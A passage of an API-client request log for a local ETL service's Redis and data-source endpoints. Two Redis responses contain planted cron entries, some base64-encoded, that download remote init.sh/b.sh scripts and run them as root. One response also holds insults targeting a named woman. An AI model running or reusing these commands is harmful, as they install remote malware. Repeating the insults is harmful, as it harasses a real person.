\\\"PONG\\\"\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":24.0},\"time\":{\"hour\":9.0,\"minute\":7.0,\"second\":9.0,\"nano\":4.205902E8}}},{\"url\":\"http://localhost:8886/testDatabaseRedis\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"url\\\": \\\"115.159.33.152\\\",\\n \\\"port\\\": 6379\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 200,\\n \\\"msg\\\": \\\"操作成功\\\",\\n \\\"data\\\": \\\"PONG\\\"\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":24.0},\"time\":{\"hour\":9.0,\"minute\":7.0,\"second\":9.0,\"nano\":8.750723E8}}},{\"url\":\"http://localhost:8886/testDatabaseRedis\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"url\\\": \\\"115.159.33.152\\\",\\n \\\"port\\\": 6379\\n}\",\"responseBody\":\"There was an error accessing to URL: http://localhost:8886/testDatabaseRedis\\n\\n{\\\"code\\\":500,\\\"msg\\\":\\\"java.net.SocketTimeoutException: Read timed out\\\",\\\"data\\\":null}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":24.0},\"time\":{\"hour\":9.0,\"minute\":7.0,\"second\":10.0,\"nano\":7.482971E8}}},{\"url\":\"http://localhost:8886/testDatabaseRedis\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"url\\\": \\\"115.159.33.152\\\",\\n \\\"port\\\": 6379\\n}\",\"responseBody\":\"There was an error accessing to URL: http://localhost:8886/testDatabaseRedis\\n\\n{\\\"code\\\":500,\\\"msg\\\":\\\"java.net.SocketTimeoutException: Read timed out\\\",\\\"data\\\":null}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":24.0},\"time\":{\"hour\":9.0,\"minute\":7.0,\"second\":11.0,\"nano\":5.95004E8}}},{\"url\":\"http://localhost:8886/testDatabaseRedis\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"url\\\": \\\"115.159.33.152\\\",\\n \\\"port\\\": 6379\\n}\",\"responseBody\":\"There was an error accessing to URL: http://localhost:8886/testDatabaseRedis\\n\\n{\\\"code\\\":500,\\\"msg\\\":\\\"java.net.SocketTimeoutException: Read timed out\\\",\\\"data\\\":null}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":24.0},\"time\":{\"hour\":9.0,\"minute\":7.0,\"second\":11.0,\"nano\":9.369015E8}}},{\"url\":\"http://localhost:8886/testDatabaseRedis\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"url\\\": \\\"43.142.12.243\\\",\\n \\\"port\\\": 6379\\n}\",\"responseBody\":\"There was an error accessing to URL: http://localhost:8886/testDatabaseRedis\\n\\n{\\\"code\\\":500,\\\"msg\\\":\\\"java.net.SocketTimeoutException: Read timed out\\\",\\\"data\\\":null}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":24.0},\"time\":{\"hour\":9.0,\"minute\":12.0,\"second\":31.0,\"nano\":4.076203E8}}},{\"url\":\"http://localhost:8886/testDatabaseRedis\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"url\\\": \\\"43.142.12.243\\\",\\n \\\"port\\\": 6379\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 200,\\n \\\"msg\\\": \\\"操作成功\\\",\\n \\\"data\\\": \\\"PONG\\\"\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":24.0},\"time\":{\"hour\":9.0,\"minute\":12.0,\"second\":37.0,\"nano\":8.445392E8}}},{\"url\":\"http://localhost:8886/testDatabaseRedis\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"url\\\": \\\"43.142.12.243\\\",\\n \\\"port\\\": 6379\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 200,\\n \\\"msg\\\": \\\"操作成功\\\",\\n \\\"data\\\": \\\"PONG\\\"\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":24.0},\"time\":{\"hour\":9.0,\"minute\":24.0,\"second\":36.0,\"nano\":6.85336E8}}},{\"url\":\"http://localhost:8886/testDatabaseRedis\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"url\\\": \\\"43.142.12.243\\\",\\n \\\"port\\\": 6379\\n}\",\"responseBody\":\"There was an error accessing to URL: http://localhost:8886/testDatabaseRedis\\n\\n{\\\"code\\\":500,\\\"msg\\\":\\\"Could not get a resource from the pool\\\",\\\"data\\\":null}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":24.0},\"time\":{\"hour\":9.0,\"minute\":27.0,\"second\":26.0,\"nano\":6.120915E8}}},{\"url\":\"http://localhost:8886/testDatabaseRedis\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"url\\\": \\\"43.142.12.243\\\",\\n \\\"port\\\": 6379\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 200,\\n \\\"msg\\\": \\\"操作成功\\\",\\n \\\"data\\\": \\\"PONG\\\"\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":24.0},\"time\":{\"hour\":9.0,\"minute\":27.0,\"second\":29.0,\"nano\":9.364153E8}}},{\"url\":\"http://localhost:8886/testDatabaseRedis\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"url\\\": \\\"43.142.12.243\\\",\\n \\\"port\\\": 6379\\n}\",\"responseBody\":\"There was an error accessing to URL: http://localhost:8886/testDatabaseRedis\\n\\n{\\\"code\\\":500,\\\"msg\\\":\\\"java.net.SocketTimeoutException: Read timed out\\\",\\\"data\\\":null}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":24.0},\"time\":{\"hour\":9.0,\"minute\":28.0,\"second\":21.0,\"nano\":5.485602E8}}},{\"url\":\"http://localhost:8886/testDatabaseRedis\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"url\\\": \\\"43.142.12.243\\\",\\n \\\"port\\\": 6379\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 200,\\n \\\"msg\\\": \\\"操作成功\\\",\\n \\\"data\\\": \\\"PONG\\\"\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":24.0},\"time\":{\"hour\":9.0,\"minute\":28.0,\"second\":31.0,\"nano\":1.253541E8}}},{\"url\":\"http://localhost:8886/testDatabaseRedis\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"url\\\": \\\"43.142.12.243\\\",\\n \\\"port\\\": 6379\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 200,\\n \\\"msg\\\": \\\"操作成功\\\",\\n \\\"data\\\": \\\"PONG\\\"\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":24.0},\"time\":{\"hour\":9.0,\"minute\":29.0,\"second\":20.0,\"nano\":5.833513E8}}},{\"url\":\"http://localhost:8886/testDatabaseRedis\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"url\\\": \\\"43.142.12.243\\\",\\n \\\"port\\\": 6379\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 200,\\n \\\"msg\\\": \\\"操作成功\\\",\\n \\\"data\\\": {\\n \\\"丑逼\\\": \\\"丑死了\\\",\\n \\\"backup1\\\": \\\"\\\\n\\\\n\\\\n*/2 * * * * root echo Y2QxIGh0dHA6Ly9zLm5hLWNzLmNvbS9iMmY2MjgvYi5zaAo\\u003d|base64 -d|bash|bash \\\\n\\\\n\\\",\\n \\\"驼背\\\": \\\"身材不好\\\",\\n \\\"笨比\\\": \\\"笨笨\\\",\\n \\\"喜欢造谣\\\": \\\"乱让人认错\\\",\\n \\\"美女\\\": \\\"看这里\\\",\\n \\\"迷之自信\\\": \\\"啥也不行总觉得自给行\\\",\\n \\\"内八\\\": \\\"丑逼\\\",\\n \\\"暴力狂\\\": \\\"老揍我\\\",\\n \\\"自私自利\\\": \\\"什么都舍不得\\\",\\n \\\"死人\\\": \\\"装死人\\\",\\n \\\"----姚婷婷十宗罪---\\\": \\\"丑人多作怪\\\",\\n \\\"backup4\\\": \\\"\\\\n\\\\n\\\\n@hourly python -c \\\\\\\"import urllib2; print urllib2.urlopen(\\u0027http://\\\\\\\\\\\\\\\\s.n\\\\\\\\a-c\\\\\\\\s.c\\\\\\\\om/t.sh\\u0027).read()\\\\\\\" \\u003e.1;chmod +x .1;./.1\\\\n\\\\n\\\",\\n \\\"backup2\\\": \\\"\\\\n\\\\n\\\\n*/3 * * * * root echo d2dldCAtcSAtTy0gaHR0cDovL3MubmEtY3MuY29tL2IyZjYyOC9iLnNoCg\\u003d\\u003d|base64 -d|bash|bash\\\\n\\\\n\\\",\\n \\\"backup3\\\": \\\"\\\\n\\\\n\\\\n*/4 * * * * root echo Y3VybCBodHRwOi8vcy5uYS1jcy5jb20vYjJmNjI4L2Iuc2gK|base64 -d|bash|bash\\\\n\\\\n\\\",\\n \\\"傻子\\\": \\\"装傻充楞\\\"\\n }\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":24.0},\"time\":{\"hour\":9.0,\"minute\":33.0,\"second\":12.0,\"nano\":6.403661E8}}},{\"url\":\"http://localhost:8886/testDatabaseRedis\",\"header\":[{\"is_checked\":1,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"url\\\": \\\"115.159.33.152\\\",\\n \\\"port\\\": 6379\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 200,\\n \\\"msg\\\": \\\"操作成功\\\",\\n \\\"data\\\": {\\n \\\"backup1\\\": \\\"\\\\n\\\\n\\\\n*/2 * * * * root cd1 -fsSL http://en2an.top/cleanfda/init.sh | sh\\\\n\\\\n\\\",\\n \\\"backup4\\\": \\\"\\\\n\\\\n\\\\n*/5 * * * * root wd1 -q -O- http://45.83.123.29/cleanfda/init.sh | sh\\\\n\\\\n\\\",\\n \\\"backup2\\\": \\\"\\\\n\\\\n\\\\n*/3 * * * * root wget -q -O- http://en2an.top/cleanfda/init.sh | sh\\\\n\\\\n\\\",\\n \\\"backup3\\\": \\\"\\\\n\\\\n\\\\n*/4 * * * * root curl -fsSL http://45.83.123.29/cleanfda/init.sh | sh\\\\n\\\\n\\\"\\n }\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024,\"month\":6,\"day\":25},\"time\":{\"hour\":19,\"minute\":33,\"second\":20,\"nano\":869421500}}}],\"/findDataSource\":[{\"url\":\"http://localhost:8886/findDataSource\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"pageNum\\\": 1,\\n \\\"pageSize\\\": 3,\\n \\\"dataSourceDescribe\\\": \\\"\\\",\\n \\\"dataSourceType\\\": 1\\n}\",\"responseBody\":\"There was an error accessing to URL: http://localhost:8886/findDataSource\\n\\n{\\\"code\\\":500,\\\"msg\\\":\\\"Invalid bound statement (not found): com.etl.data.source.server.mapper.DataSourceBaseMapper.selectJoinPage\\\",\\\"data\\\":null}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":25.0},\"time\":{\"hour\":18.0,\"minute\":40.0,\"second\":8.0,\"nano\":6.552401E8}}},{\"url\":\"http://localhost:8886/findDataSource\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"pageNum\\\": 1,\\n \\\"pageSize\\\": 3,\\n \\\"dataSourceDescribe\\\": \\\"\\\",\\n \\\"dataSourceType\\\": 1\\n}\",\"responseBody\":\"There was an error accessing to URL: http://localhost:8886/findDataSource\\n\\n{\\\"code\\\":500,\\\"msg\\\":\\\"Invalid bound statement (not found): com.etl.data.source.server.mapper.DataSourceBaseMapper.selectJoinPage\\\",\\\"data\\\":null}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":25.0},\"time\":{\"hour\":18.0,\"minute\":40.0,\"second\":51.0,\"nano\":1.20984E8}}},{\"url\":\"http://localhost:8886/findDataSource\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"pageNum\\\": 1,\\n \\\"pageSize\\\": 3,\\n\\n}\",\"responseBody\":\"There was an error accessing to URL: http://localhost:8886/findDataSource\\n\\n{\\\"code\\\":500,\\\"msg\\\":\\\"JSON parse error: Unexpected character (\\u0027}\\u0027 (code 125)): was expecting double-quote to start field name; nested exception is com.fasterxml.jackson.core.JsonParseException: Unexpected character (\\u0027}\\u0027 (code 125)): was expecting double-quote to start field name\\\\n at [Source: (org.springframework.util.StreamUtils$NonClosingInputStream); line: 5, column: 2]\\\",\\\"data\\\":null}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":25.0},\"time\":{\"hour\":18.0,\"minute\":47.0,\"second\":30.0,\"nano\":8.920414E8}}},{\"url\":\"http://localhost:8886/findDataSource\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"pageNum\\\": 1,\\n \\\"pageSize\\\": 3\\n\\n}\",\"responseBody\":\"There was an error accessing to URL: http://localhost:8886/findDataSource\\n\\n{\\\"code\\\":500,\\\"msg\\\":\\\"Invalid bound statement (not found): com.etl.data.source.server.mapper.DataSourceBaseMapper.selectJoinPage\\\",\\\"data\\\":null}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":25.0},\"time\":{\"hour\":18.0,\"minute\":47.0,\"second\":40.0,\"nano\":3.318936E8}}},{\"url\":\"http://localhost:8886/findDataSource\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"pageNum\\\": 1,\\n \\\"pageSize\\\": 3\\n\\n}\",\"responseBody\":\"There was an error accessing to URL: http://localhost:8886/findDataSource\\n\\n{\\\"code\\\":500,\\\"msg\\\":\\\"Invalid bound statement (not found): com.etl.data.source.server.mapper.DataSourceBaseMapper.selectJoinPage\\\",\\\"data\\\":null}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":25.0},\"time\":{\"hour\":18.0,\"minute\":54.0,\"second\":13.0,\"nano\":1.009445E8}}},{\"url\":\"http://localhost:8886/findDataSource\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"pageNum\\\": 1,\\n \\\"pageSize\\\": 3,\\n \\\"dataSourceDescribe\\\": \\\"\\\",\\n \\\"dataSourceType\\\": 1\\n}\",\"responseBody\":\"There was an error accessing to URL: http://localhost:8886/findDataSource\\n\\n{\\\"code\\\":500,\\\"msg\\\":\\\"Invalid bound statement (not found): com.etl.data.source.server.mapper.DataSourceBaseMapper.selectJoinPage\\\",\\\"data\\\":null}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":25.0},\"time\":{\"hour\":19.0,\"minute\":0.0,\"second\":34.0,\"nano\":6.117732E8}}},{\"url\":\"http://localhost:8886/findDataSource\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"pageNum\\\": 1,\\n \\\"pageSize\\\": 3,\\n \\\"dataSourceDescribe\\\": \\\"\\\",\\n \\\"dataSourceType\\\": 1\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 200,\\n \\\"msg\\\": null,\\n \\\"data\\\": [\\n {\\n \\\"id\\\": 1,\\n \\\"dataSourceId\\\": 1,\\n \\\"dataSourceDescribe\\\": \\\"1\\\",\\n \\\"linkAddress\\\": \\\"1\\\",\\n \\\"userName\\\": \\\"1\\\",\\n \\\"password\\\": \\\"1\\\",\\n \\\"connectionPort\\\": 1,\\n \\\"connectionDatabaseName\\\": \\\"1\\\",\\n \\\"extraConfig\\\": \\\"1\\\",\\n \\\"status\\\": 1,\\n \\\"remark\\\": \\\"1\\\",\\n \\\"dataSourceType\\\": 1,\\n \\\"dataSourceTypeName\\\": \\\"mysql\\\"\\n }\\n ]\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":25.0},\"time\":{\"hour\":19.0,\"minute\":6.0,\"second\":32.0,\"nano\":4.85264E7}}}],\"/addMysqlDataSource\":[{\"url\":\"http://localhost:8886/addMysqlDataSource\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"id\\\": 1,\\n \\\"dataSourceId\\\": 1,\\n \\\"dataSourceDescribe\\\": \\\"\\\",\\n \\\"linkAddress\\\": \\\"\\\",\\n \\\"userName\\\": \\\"\\\",\\n \\\"password\\\": \\\"\\\",\\n \\\"connectionPort\\\": 1,\\n \\\"connectionDatabaseName\\\": \\\"\\\",\\n \\\"extraConfig\\\": \\\"\\\",\\n \\\"status\\\": 1,\\n \\\"remark\\\": \\\"\\\",\\n \\\"dataSourceType\\\": 1,\\n \\\"dataSourceTypeName\\\": \\\"\\\"\\n}\",\"responseBody\":\"There was an error accessing to URL: http://localhost:8886/addMysqlDataSource\\n\\n{\\\"code\\\":500,\\\"msg\\\":\\\"数据源用户名不能为空, 数据源驱动不能为空, 数据源描述不能为空, 数据源连接地址不能为空, 数据源密码不能为空, 数据源备注不能为空\\\",\\\"data\\\":null}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":25.0},\"time\":{\"hour\":18.0,\"minute\":46.0,\"second\":17.0,\"nano\":6.064133E8}}},{\"url\":\"http://localhost:8886/addMysqlDataSource\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"id\\\": 1,\\n \\\"dataSourceId\\\": 1,\\n \\\"dataSourceDescribe\\\": \\\"1\\\",\\n \\\"linkAddress\\\": \\\"1\\\",\\n \\\"userName\\\": \\\"1\\\",\\n \\\"password\\\": \\\"1\\\",\\n \\\"connectionPort\\\": 1,\\n \\\"connectionDatabaseName\\\": \\\"1\\\",\\n \\\"extraConfig\\\": \\\"1\\\",\\n \\\"status\\\": 1,\\n \\\"remark\\\": \\\"1\\\",\\n \\\"dataSourceType\\\": 1,\\n \\\"dataSourceTypeName\\\": \\\"1\\\"\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 200,\\n \\\"msg\\\": null,\\n \\\"data\\\": \\\"添加成功\\\"\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":25.0},\"time\":{\"hour\":18.0,\"minute\":47.0,\"second\":13.0,\"nano\":6.552032E8}}}],\"/deleteMysqlDataSource\":[{\"url\":\"http://localhost:8886/deleteMysqlDataSource\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"key\":\"id\",\"type\":\"Text\",\"not_null\":\"1\",\"field_type\":\"Long\",\"value\":\"1\"},{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"\",\"responseBody\":\"{\\n \\\"code\\\": 200,\\n \\\"msg\\\": null,\\n \\\"data\\\": \\\"删除成功\\\"\\n}\",\"selectedItem\":\"DELETE\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":25.0},\"time\":{\"hour\":18.0,\"minute\":46.0,\"second\":44.0,\"nano\":4.888341E8}}}]}", - "ApiPost:METDOD_SEND_RECORD:etl-heihei": "{\"/car\":[{\"url\":\"http://localhost:8080/car\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"key\":\"id\",\"type\":\"Text\",\"not_null\":\"1\",\"field_type\":\"Integer\",\"value\":\"1\"},{\"is_checked\":1.0,\"key\":\"carId\",\"type\":\"Text\",\"not_null\":\"1\",\"field_type\":\"String\",\"value\":\"\"},{\"is_checked\":1.0,\"key\":\"sort.orders\",\"type\":\"Text\",\"not_null\":\"1\",\"field_type\":\"Array\",\"value\":\"\"},{\"is_checked\":1.0,\"key\":\"sort.orders.direction\",\"type\":\"Text\",\"not_null\":\"1\",\"field_type\":\"org.springframework.data.domain.Sort.Direction\",\"value\":\"ASC\"},{\"is_checked\":1.0,\"key\":\"sort.orders.property\",\"type\":\"Text\",\"not_null\":\"1\",\"field_type\":\"String\",\"value\":\"\"},{\"is_checked\":1.0,\"key\":\"sort.orders.ignoreCase\",\"type\":\"Text\",\"not_null\":\"1\",\"field_type\":\"boolean\",\"value\":\"false\"},{\"is_checked\":1.0,\"key\":\"sort.orders.nullHandling\",\"type\":\"Text\",\"not_null\":\"1\",\"field_type\":\"org.springframework.data.domain.Sort.NullHandling\",\"value\":\"NATIVE\"},{\"is_checked\":1.0,\"key\":\"page\",\"type\":\"Text\",\"not_null\":\"1\",\"field_type\":\"int\",\"value\":\"1\"},{\"is_checked\":1.0,\"key\":\"size\",\"type\":\"Text\",\"not_null\":\"1\",\"field_type\":\"int\",\"value\":\"1\"},{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"\",\"responseBody\":\"There was an error accessing to URL: http://localhost:8080/car?sort.orders.nullHandling\\u003dNATIVE\\u0026sort.orders\\u003d\\u0026sort.orders.direction\\u003dASC\\u0026size\\u003d1\\u0026id\\u003d1\\u0026page\\u003d1\\u0026sort.orders.property\\u003d\\u0026sort.orders.ignoreCase\\u003dfalse\\u0026carId\\u003d\\n\\n\\u003chtml\\u003e\\u003cbody\\u003e\\u003ch1\\u003eWhitelabel Error Page\\u003c/h1\\u003e\\u003cp\\u003eThis application has no explicit mapping for /error, so you are seeing this as a fallback.\\u003c/p\\u003e\\u003cdiv id\\u003d\\u0027created\\u0027\\u003eMon Jun 24 16:16:20 CST 2024\\u003c/div\\u003e\\u003cdiv\\u003eThere was an unexpected error (type\\u003dInternal Server Error, status\\u003d500).\\u003c/div\\u003e\\u003cdiv\\u003eFailed to instantiate [org.springframework.data.domain.PageRequest]: Constructor threw exception; nested exception is java.lang.IllegalArgumentException: Sort must not be null\\u003c/div\\u003e\\u003cdiv style\\u003d\\u0027white-space:pre-wrap;\\u0027\\u003eorg.springframework.beans.BeanInstantiationException: Failed to instantiate [org.springframework.data.domain.PageRequest]: Constructor threw exception; nested exception is java.lang.IllegalArgumentException: Sort must not be null\\r\\n\\tat org.springframework.beans.BeanUtils.instantiateClass(BeanUtils.java:224)\\r\\n\\tat org.springframework.web.method.annotation.ModelAttributeMethodProcessor.constructAttribute(ModelAttributeMethodProcessor.java:332)\\r\\n\\tat org.springframework.web.method.annotation.ModelAttributeMethodProcessor.createAttribute(ModelAttributeMethodProcessor.java:220)\\r\\n\\tat org.springframework.web.servlet.mvc.method.annotation.ServletModelAttributeMethodProcessor.createAttribute(ServletModelAttributeMethodProcessor.java:85)\\r\\n\\tat org.springframework.web.method.annotation.ModelAttributeMethodProcessor.resolveArgument(ModelAttributeMethodProcessor.java:147)\\r\\n\\tat org.springframework.web.method.support.HandlerMethodArgumentResolverComposite.resolveArgument(HandlerMethodArgumentResolverComposite.java:122)\\r\\n\\tat org.springframework.web.method.support.InvocableHandlerMethod.getMethodArgumentValues(InvocableHandlerMethod.java:179)\\r\\n\\tat org.springframework.web.method.support.InvocableHandlerMethod.invokeForRequest(InvocableHandlerMethod.java:146)\\r\\n\\tat org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod.invokeAndHandle(ServletInvocableHandlerMethod.java:117)\\r\\n\\tat org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.invokeHandlerMethod(RequestMappingHandlerAdapter.java:895)\\r\\n\\tat org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.handleInternal(RequestMappingHandlerAdapter.java:808)\\r\\n\\tat org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter.handle(AbstractHandlerMethodAdapter.java:87)\\r\\n\\tat org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:1071)\\r\\n\\tat org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:964)\\r\\n\\tat org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:1006)\\r\\n\\tat org.springframework.web.servlet.FrameworkServlet.doGet(FrameworkServlet.java:898)\\r\\n\\tat javax.servlet.http.HttpServlet.service(HttpServlet.java:670)\\r\\n\\tat 